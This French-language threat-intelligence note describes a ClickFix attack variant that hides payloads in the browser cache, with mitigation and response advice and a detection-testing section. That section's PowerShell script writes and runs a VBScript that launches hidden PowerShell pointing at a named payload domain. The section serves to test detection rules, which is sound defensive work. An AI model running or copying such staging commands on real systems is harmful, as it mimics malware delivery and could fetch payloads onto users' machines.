L’attaque ClickFix livre des charges utiles via le cache du navigateur

Résumé

Une nouvelle variante de l’attaque ClickFix utilise des sites web compromis pour précharger des scripts malveillants dans le cache du navigateur, déguisés en fichiers légitimes comme des PNG. Les victimes sont manipulées socialement pour exécuter des commandes via la boîte de dialogue Exécuter de Windows, ce qui déclenche ensuite l’exécution de la charge utile mise en cache pour contourner les limites de caractères et les contrôles de sécurité. Cette technique mène finalement au vol de données d’identification par injection en mémoire dans des processus légitimes.

Enquête

Microsoft Threat Intelligence et d’autres chercheurs ont identifié une chaîne d’infection en plusieurs étapes impliquant VBScript, PowerShell et des assemblages .NET. La chaîne d’attaque utilise la dissimulation dans le cache du navigateur pour masquer les charges utiles et emploie WMI pour récolter des informations sur l’hôte. L’enquête a mis en évidence l’utilisation d’outils système légitimes comme cmd.exe, wscript.exe, et timeout.exe pour faciliter l’attaque.

Atténuation

Les organisations devraient mettre en place une protection cloud, web et réseau, ainsi que le contrôle des applications et la journalisation des scripts PowerShell. Les utilisateurs doivent être informés de ne jamais coller de commandes dans Windows Run, Terminal ou PowerShell lorsqu’ils sont invités par des erreurs de site web ou des CAPTCHAs. Il est également recommandé de surveiller les activités suspectes dans le navigateur et les processus enfants WScript/PowerShell.

Réponse

Dès détection, recherchez des activités suspectes dans la clé de registre RunMRU et surveillez les tâches planifiées inhabituelles. Examinez les processus enfants générés par WScript ou PowerShell et vérifiez les assemblages .NET non autorisés chargés en mémoire. Isolez les systèmes affectés et examinez les journaux réseau pour les connexions sortantes vers des domaines malveillants connus.

Exécution de simulation

• Contexte et commandes de l’attaque : L’adversaire exploite une tactique d’ingénierie sociale où l’utilisateur est incité à « résoudre » une erreur de navigateur. Ce processus dissimule un VBScript malveillant dans un répertoire temporaire (simulant le cache du navigateur). L’adversaire exécute ensuite ce VBScript en utilisant wscript.exe. Le VBScript est conçu pour appeler PowerShell avec le -WindowStyle Hidden drapeau pour éviter la détection par l’utilisateur et tente de se connecter au domaine capsysnet.vg pour récupérer une charge utile secondaire. Cette séquence est conçue pour déclencher la logique de détection spécifique basée sur les chaînes dans la règle.

• Script de test de régression :

  # Script de simulation : Imitation de la dissimulation de charge utile ClickFix
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  
  # Créer un VBScript qui simule le comportement malveillant
  # Il tente d'appeler PowerShell avec la chaîne spécifique que la règle recherche
  # et référence le domaine suspect.
  $vbsContent = @"
  Set objShell = CreateObject("WScript.Shell")
  ' Simuler l'appel d'un script nommé v.ps1 avec style de fenêtre masqué
  ' et connexion au domaine suspect
  objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True
  "@
  
  Set-Content -Path $vbsPath -Value $vbsContent
  
  Write-Host "[+] VBScript malveillant créé à : $vbsPath"
  Write-Host "[+] Exécution du VBScript via wscript.exe pour déclencher la détection..."
  
  # Exécuter le VBScript
  Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`""
  
  Write-Host "[+] Commande de simulation envoyée. Vérifiez les alertes dans SIEM."

• Commandes de nettoyage :

  # Nettoyage : Supprimer les fichiers malveillants simulés
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  if (Test-Path $vbsPath) {
      Remove-Item -Path $vbsPath -Force
      Write-Host "[+] Nettoyage terminé : $vbsPath supprimé."
  } else {
      Write-Host "[!] Échec du nettoyage : Fichier introuvable."
  }